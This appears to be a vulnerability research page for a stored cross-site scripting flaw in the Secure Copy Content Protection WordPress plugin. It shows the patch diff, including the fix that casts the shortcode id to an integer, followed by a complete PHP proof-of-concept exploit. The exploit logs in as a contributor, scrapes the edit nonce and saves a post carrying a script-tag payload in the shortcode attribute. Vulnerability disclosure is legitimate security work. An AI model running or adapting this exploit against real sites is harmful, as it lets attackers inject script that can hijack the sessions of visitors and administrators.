CVE-2026-2367: Secure Copy Content Protection and Content Locking <= 5.0.1 – Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attribute (secure-copy-content-protection)

--- a/secure-copy-content-protection/admin/partials/settings/secure-copy-content-protection-settings-actions.php
+++ b/secure-copy-content-protection/admin/partials/settings/secure-copy-content-protection-settings-actions.php
@@ -364,15 +364,21 @@
             // Block content box button text
             $ays_bc_button_text = (isset($data['ays_sccp_bc_button_text']) && $data['ays_sccp_bc_button_text'] != '') ? stripslashes( esc_attr($data['ays_sccp_bc_button_text']) ) : 'Submit';

-            // Enable Block content title transformation Mobile
+            // Enable Block content box button text Mobile
             $enable_ays_bc_button_text_mobile = isset( $data['enable_ays_sccp_bc_button_text_mobile'] ) && $data['enable_ays_sccp_bc_button_text_mobile'] == 'on' ? 'on' : 'off';

-            // Block content box title transformation Mobile
-            $ays_bc_button_text_mobile = isset( $data['ays_sccp_bc_button_text_mobile'] ) && $data['ays_sccp_bc_button_text_mobile'] != '' ? sanitize_text_field( $data['ays_sccp_bc_button_text_mobile'] ) : 'Subscribe';
+            // Block content box button text Mobile
+            $ays_bc_button_text_mobile = isset( $data['ays_sccp_bc_button_text_mobile'] ) && $data['ays_sccp_bc_button_text_mobile'] != '' ? sanitize_text_field( $data['ays_sccp_bc_button_text_mobile'] ) : 'Submit';

             // Block content box password placeholder text
             $ays_bc_psw_place_text = (isset($data['ays_sccp_bc_psw_place_text']) && $data['ays_sccp_bc_psw_place_text'] != '') ? stripslashes( esc_attr($data['ays_sccp_bc_psw_place_text']) ) : 'Password';

+            // Enable Block content box password placeholder text Mobile
+            $enable_ays_bc_psw_place_text_mobile = isset( $data['enable_ays_sccp_bc_psw_place_text_mobile'] ) && $data['enable_ays_sccp_bc_psw_place_text_mobile'] == 'on' ? 'on' : 'off';
+
+            // Block content box password placeholder text Mobile
+            $ays_bc_psw_place_text_mobile = isset( $data['ays_sccp_bc_psw_place_text_mobile'] ) && $data['ays_sccp_bc_psw_place_text_mobile'] != '' ? sanitize_text_field( $data['ays_sccp_bc_psw_place_text_mobile'] ) : 'Password';
+
             // Block content Container border style
             $bc_cont_border_style = (isset($data['ays_sccp_bc_cont_border_style']) && $data['ays_sccp_bc_cont_border_style'] != '') ? sanitize_text_field( $data['ays_sccp_bc_cont_border_style'] ) : 'double';

@@ -420,41 +426,43 @@
             $bc_buttons_top_bottom_padding = (isset($data['ays_bc_btn_top_bottom_padding']) && $data['ays_bc_btn_top_bottom_padding'] != "") ? $data['ays_bc_btn_top_bottom_padding'] : '10';

             $block_content = array(
-                "sccp_bc_width"                         => $ays_sccp_bc_width,
-                "sccp_bc_width_mobile"                  => $ays_sccp_bc_width_mobile,
-                "sccp_bc_width_by_percentage_px"        => $sccp_bc_width_by_percentage_px,
-                "sccp_bc_width_mobile_by_percentage_px" => $sccp_bc_width_mobile_by_percentage_px,
-                "sccp_bc_text_color"                    => $bc_text_color,
-                "enable_sccp_bc_text_color_mobile"      => $enable_bc_text_color_mobile,
-                "sccp_bc_text_color_mobile"             => $bc_text_color_mobile,
-                "sccp_bc_bg_color"                      => $bc_bg_color,
-                "enable_sccp_bc_bg_color_mobile"        => $enable_bc_bg_color_mobile,
-                "sccp_bc_bg_color_mobile"               => $bc_bg_color_mobile,
-                "bc_bg_image"                           => $ays_bc_bg_img,
-                "bc_bg_image_position"                  => $bc_bg_image_position,
-                "enable_bc_bg_image_position_mobile"    => $enable_bc_bg_image_position_mobile,
-                "bc_bg_image_position_mobile"           => $bc_bg_image_position_mobile,
-                "sccp_bc_button_text"                   => $ays_bc_button_text,
-                "enable_sccp_bc_button_text_mobile"     => $enable_ays_bc_button_text_mobile,
-                "sccp_bc_button_text_mobile"            => $ays_bc_button_text_mobile,
-                "sccp_bc_psw_place_text"                => $ays_bc_psw_place_text,
-                "bc_cont_border_style"                  => $bc_cont_border_style,
-                "bc_cont_border_color"                  => $bc_cont_border_color,
-                "bc_cont_border_width"                  => $bc_cont_border_width,
-                "bc_icon_image"                         => $ays_bc_icon_img,
-                "bc_cont_input_width"                   => $ays_sccp_bc_input_width,
-                "bc_text_alignment"                     => $sccp_bc_text_alignment,
-                "enable_bc_btn_style"                   => $enable_bc_btn_style,
-                "bc_btn_color"                          => $bc_btn_color,
-                "bc_btn_text_color"                     => $bc_btn_text_color,
-                "bc_btn_size"                           => $bc_btn_size,
-                "bc_mobile_btn_size"                    => $bc_mobile_btn_size,
-                "bc_btn_radius"                         => $bc_btn_radius,
-                "bc_btn_border_width"                   => $bc_btn_border_width,
-                "bc_btn_border_style"                   => $bc_btn_border_style,
-                "bc_btn_border_color"                   => $bc_btn_border_color,
-                "bc_btn_left_right_padding"             => $bc_buttons_left_right_padding,
-                "bc_btn_top_bottom_padding"             => $bc_buttons_top_bottom_padding,
+                "sccp_bc_width"                             => $ays_sccp_bc_width,
+                "sccp_bc_width_mobile"                      => $ays_sccp_bc_width_mobile,
+                "sccp_bc_width_by_percentage_px"            => $sccp_bc_width_by_percentage_px,
+                "sccp_bc_width_mobile_by_percentage_px"     => $sccp_bc_width_mobile_by_percentage_px,
+                "sccp_bc_text_color"                        => $bc_text_color,
+                "enable_sccp_bc_text_color_mobile"          => $enable_bc_text_color_mobile,
+                "sccp_bc_text_color_mobile"                 => $bc_text_color_mobile,
+                "sccp_bc_bg_color"                          => $bc_bg_color,
+                "enable_sccp_bc_bg_color_mobile"            => $enable_bc_bg_color_mobile,
+                "sccp_bc_bg_color_mobile"                   => $bc_bg_color_mobile,
+                "bc_bg_image"                               => $ays_bc_bg_img,
+                "bc_bg_image_position"                      => $bc_bg_image_position,
+                "enable_bc_bg_image_position_mobile"        => $enable_bc_bg_image_position_mobile,
+                "bc_bg_image_position_mobile"               => $bc_bg_image_position_mobile,
+                "sccp_bc_button_text"                       => $ays_bc_button_text,
+                "enable_sccp_bc_button_text_mobile"         => $enable_ays_bc_button_text_mobile,
+                "sccp_bc_button_text_mobile"                => $ays_bc_button_text_mobile,
+                "sccp_bc_psw_place_text"                    => $ays_bc_psw_place_text,
+                "enable_sccp_bc_psw_place_text_mobile"      => $enable_ays_bc_psw_place_text_mobile,
+                "sccp_bc_psw_place_text_mobile"             => $ays_bc_psw_place_text_mobile,
+                "bc_cont_border_style"                      => $bc_cont_border_style,
+                "bc_cont_border_color"                      => $bc_cont_border_color,
+                "bc_cont_border_width"                      => $bc_cont_border_width,
+                "bc_icon_image"                             => $ays_bc_icon_img,
+                "bc_cont_input_width"                       => $ays_sccp_bc_input_width,
+                "bc_text_alignment"                         => $sccp_bc_text_alignment,
+                "enable_bc_btn_style"                       => $enable_bc_btn_style,
+                "bc_btn_color"                              => $bc_btn_color,
+                "bc_btn_text_color"                         => $bc_btn_text_color,
+                "bc_btn_size"                               => $bc_btn_size,
+                "bc_mobile_btn_size"                        => $bc_mobile_btn_size,
+                "bc_btn_radius"                             => $bc_btn_radius,
+                "bc_btn_border_width"                       => $bc_btn_border_width,
+                "bc_btn_border_style"                       => $bc_btn_border_style,
+                "bc_btn_border_color"                       => $bc_btn_border_color,
+                "bc_btn_left_right_padding"                 => $bc_buttons_left_right_padding,
+                "bc_btn_top_bottom_padding"                 => $bc_buttons_top_bottom_padding,
             );

             $result = $this->ays_update_setting('mailchimp', json_encode($mailchimp));
--- a/secure-copy-content-protection/admin/partials/settings/secure-copy-content-protection-settings.php
+++ b/secure-copy-content-protection/admin/partials/settings/secure-copy-content-protection-settings.php
@@ -89,6 +89,13 @@
 // Block content box password placeholder text
 $sccp_bc_psw_place_text = (isset($block_content['sccp_bc_psw_place_text']) && $block_content['sccp_bc_psw_place_text'] != '') ? stripslashes( esc_attr($block_content['sccp_bc_psw_place_text']) ) : 'Password' ;

+// Enable Block content box password placeholder text Mobile
+$block_content['enable_sccp_bc_psw_place_text_mobile'] = isset( $block_content['enable_sccp_bc_psw_place_text_mobile'] ) && $block_content['enable_sccp_bc_psw_place_text_mobile'] == 'off' ? 'off' : 'on';
+$enable_sccp_bc_psw_place_text_mobile = $block_content['enable_sccp_bc_psw_place_text_mobile'] == 'on' ?  true : false;
+
+// Block content box password placeholder text Mobile
+$sccp_bc_psw_place_text_mobile = isset( $block_content['sccp_bc_psw_place_text_mobile'] ) && $block_content['sccp_bc_psw_place_text_mobile'] != '' ? stripslashes( esc_attr( $block_content['sccp_bc_psw_place_text_mobile'] ) ) : $sccp_bc_psw_place_text;
+
 // Block content Container border style
 $ays_sccp_bc_cont_border_style = (isset($block_content['bc_cont_border_style']) && $block_content['bc_cont_border_style'] != '') ? $block_content['bc_cont_border_style'] : 'double';

@@ -2162,7 +2169,21 @@
                                 </label>
                             </div>
                             <div class="col-sm-8 ays_divider_left">
-                                <input type="text" name="ays_sccp_bc_psw_place_text" id="ays_sccp_bc_psw_place_text" class="ays-text-input ays-text-input-short" value="<?php echo $sccp_bc_psw_place_text; ?>">
+                            	<div class="ays_toggle_mobile_parent">
+                                    <div>
+                                        <div class="ays_sccp_current_device_name ays_sccp_current_device_name_pc_default_on ays_sccp_current_device_name_pc show ays_toggle_target" style="<?php echo ($enable_sccp_bc_psw_place_text_mobile) ? '' : 'display: none;' ?> text-align: center; margin-bottom: 10px; max-width: 100px;"><?php echo __('PC', 'secure-copy-content-protection') ?></div>
+                                        <input type="text" name="ays_sccp_bc_psw_place_text" id="ays_sccp_bc_psw_place_text" class="ays-text-input ays-text-input-short" value="<?php echo $sccp_bc_psw_place_text; ?>">
+                                    </div>
+                                    <div class="ays_toggle_target ays_sccp_sub_button_text_mobile_container" style=" <?php echo ( $enable_sccp_bc_psw_place_text_mobile ) ? '' : 'display:none'; ?>">
+                                        <hr>
+                                        <div class="ays_sccp_current_device_name show" style="text-align: center; margin-bottom: 10px; max-width: 100px;"><?php echo __('Mobile', 'secure-copy-content-protection') ?></div>
+                                        <input type="text" name="ays_sccp_bc_psw_place_text_mobile" id="ays_sccp_bc_psw_place_text_mobile" class="ays-text-input ays-text-input-short" value="<?php echo $sccp_bc_psw_place_text_mobile; ?>">
+                                    </div>
+                                    <div class="ays_sccp_mobile_settings_container">
+                                        <input type="checkbox" class="ays_toggle_mobile_checkbox" id="enable_ays_sccp_bc_psw_place_text_mobile" name="enable_ays_sccp_bc_psw_place_text_mobile" <?php echo $enable_sccp_bc_psw_place_text_mobile ? 'checked' : '' ?>>
+                                        <label for="enable_ays_sccp_bc_psw_place_text_mobile" ><?php echo __('Use a different setting for Mobile', 'secure-copy-content-protection') ?></label>
+                                    </div>
+                                </div>
                             </div>
                         </div>
                         <hr>
--- a/secure-copy-content-protection/public/class-secure-copy-content-protection-public.php
+++ b/secure-copy-content-protection/public/class-secure-copy-content-protection-public.php
@@ -715,7 +715,9 @@
 		wp_enqueue_script($this->plugin_name, plugin_dir_url(__FILE__) . 'js/secure-copy-content-protection-public.js', array('jquery'), $this->version, false);
 		global $wpdb;
 		$sccp_settings = $this->settings;
-		$id = esc_sql($atts['id']);
+
+		$id = ( isset( $atts['id'] ) && $atts['id'] != '' ) ? absint( intval( $atts['id'] ) ) : null;
+
 		$bc_table = esc_sql(SCCP_BLOCK_CONTENT);

 		$sccp_result = $wpdb->get_row(
@@ -840,6 +842,17 @@
 		// Block content paswword placeholder text
 		$bc_psw_place_text = (isset($block_content_settings['sccp_bc_psw_place_text']) && $block_content_settings['sccp_bc_psw_place_text'] != '') ? stripslashes( esc_attr($block_content_settings['sccp_bc_psw_place_text']) ) : __('Password', 'secure-copy-content-protection');

+		// Enable Block content paswword placeholder text Mobile
+        $block_content_settings['enable_sccp_bc_psw_place_text_mobile'] = ( isset( $block_content_settings['enable_sccp_bc_psw_place_text_mobile'] ) && $block_content_settings['enable_sccp_bc_psw_place_text_mobile'] == 'off') ? false : true;
+
+        // Block content paswword placeholder text Mobile
+        if ( $block_content_settings['enable_sccp_bc_psw_place_text_mobile'] ) {
+
+        	$bc_psw_place_text_mobile = (isset($block_content_settings['sccp_bc_psw_place_text_mobile']) && $block_content_settings['sccp_bc_psw_place_text_mobile'] != '') ? stripslashes( esc_attr($block_content_settings['sccp_bc_psw_place_text_mobile']) ) : $bc_psw_place_text;
+        } else {
+            $bc_psw_place_text_mobile = $bc_psw_place_text;
+        }
+
 		// Block content Container border style
 		$bc_cont_border_style = (isset($block_content_settings['bc_cont_border_style']) && $block_content_settings['bc_cont_border_style'] != '') ? $block_content_settings['bc_cont_border_style'] : 'double';

@@ -1037,7 +1050,7 @@
 							</div>
 							<form action="" method="post" class="conblock_block_form" style="'.$bc_button_style.'">
 								<div class="ays_sccp_bc_form_fields">
-									<input type="password" required name="pass_form" placeholder="'.$bc_psw_place_text.'" style="'.$bc_cont_input_width.'">
+									<input type="password" class="ays_sccp_place_text" required name="pass_form" data-mobile-placeholder="'.$bc_psw_place_text_mobile.'" data-desktop-placeholder="'.$bc_psw_place_text.'" placeholder="'.$bc_psw_place_text.'" style="'.$bc_cont_input_width.'">
 								</div>
 								<div class="ays_sccp_bc_form_fields">
 								<input type="submit" class="ays_sccp_bc_sbm" name="sub_form_'.$id.'" value="'.$bc_button_text.'" data-mobile-value="'.$bc_button_text_mobile.'" data-desktop-value="'.$bc_button_text.'" style="'.$sccp_bc_btn_color.' '.$sccp_bc_btn_text_color.' '.$sccp_bc_btn_size.' '.$sccp_bc_btn_radius.' '.$sccp_bc_btn_border_width.' '.$sccp_bc_btn_border_style.' '.$sccp_bc_btn_border_color.' '.$sccp_bc_btn_padding.'">
--- a/secure-copy-content-protection/secure-copy-content-protection.php
+++ b/secure-copy-content-protection/secure-copy-content-protection.php
@@ -16,7 +16,7 @@
  * Plugin Name:       Secure Copy Content Protection
  * Plugin URI:        https://ays-pro.com/wordpress/secure-copy-content-protection/
  * Description:       Copy Protection plugin is activated it disables the right click, copy paste, content selection and copy shortcut keys
- * Version:           5.0.1
+ * Version:           5.0.2
  * Author:            Copy Content Protection Team
  * Author URI:        https://ays-pro.com/
  * License:           GPL-2.0+
@@ -35,7 +35,7 @@
  * Start at version 1.0.0 and use SemVer - https://semver.org
  * Rename this for your plugin and update it as you release new versions.
  */
-define('SCCP_NAME_VERSION', '5.0.1');
+define('SCCP_NAME_VERSION', '5.0.2');
 define('SCCP_NAME', 'secure-copy-content-protection');
 if (!defined('SCCP_ADMIN_URL')) {
 	define('SCCP_ADMIN_URL', plugin_dir_url(__FILE__) . 'admin');

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2367 - Secure Copy Content Protection and Content Locking <= 5.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attribute

<?php
/**
 * Proof of Concept for CVE-2026-2367
 * Requires valid WordPress contributor credentials and a target post/page ID.
 * This script demonstrates the stored XSS via the 'ays_block' shortcode.
 */

$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_username';
$password = 'contributor_password';
$post_id = 123; // Target post/page ID to edit

// Payload to inject via the shortcode id attribute
// The payload must bypass esc_sql() and reach output context
$xss_payload = '"><script>alert(document.domain)</script>';

// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Verify login success by checking for dashboard redirect or wp-admin cookies
if (strpos($response, 'wp-admin') === false) {
    die('Login failed. Check credentials.');
}

// Retrieve the edit page to obtain nonce
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php?post=' . $post_id . '&action=edit');
curl_setopt($ch, CURLOPT_POST, 0);
$edit_page = curl_exec($ch);

// Extract nonce for updating the post (simplified regex, may need adjustment)
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $edit_page, $nonce_matches);
if (empty($nonce_matches[1])) {
    die('Could not extract nonce. The user may lack edit permissions for this post.');
}
$nonce = $nonce_matches[1];

// Prepare POST data with malicious shortcode
$post_data = array(
    'post_ID' => $post_id,
    'content' => 'Post content with malicious shortcode: [ays_block id="' . $xss_payload . '"]',
    '_wpnonce' => $nonce,
    '_wp_http_referer' => '/wp-admin/post.php?post=' . $post_id . '&action=edit',
    'action' => 'editpost',
    'save' => 'Update'
);

// Submit the update
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$update_response = curl_exec($ch);

// Check for success
if (strpos($update_response, 'Post updated.') !== false || strpos($update_response, 'Post published.') !== false) {
    echo 'Exploit successful. Visit ' . $target_url . '/?p=' . $post_id . ' to trigger XSS.n';
} else {
    echo 'Post update may have failed. Check permissions and nonce.n';
}

curl_close($ch);
?>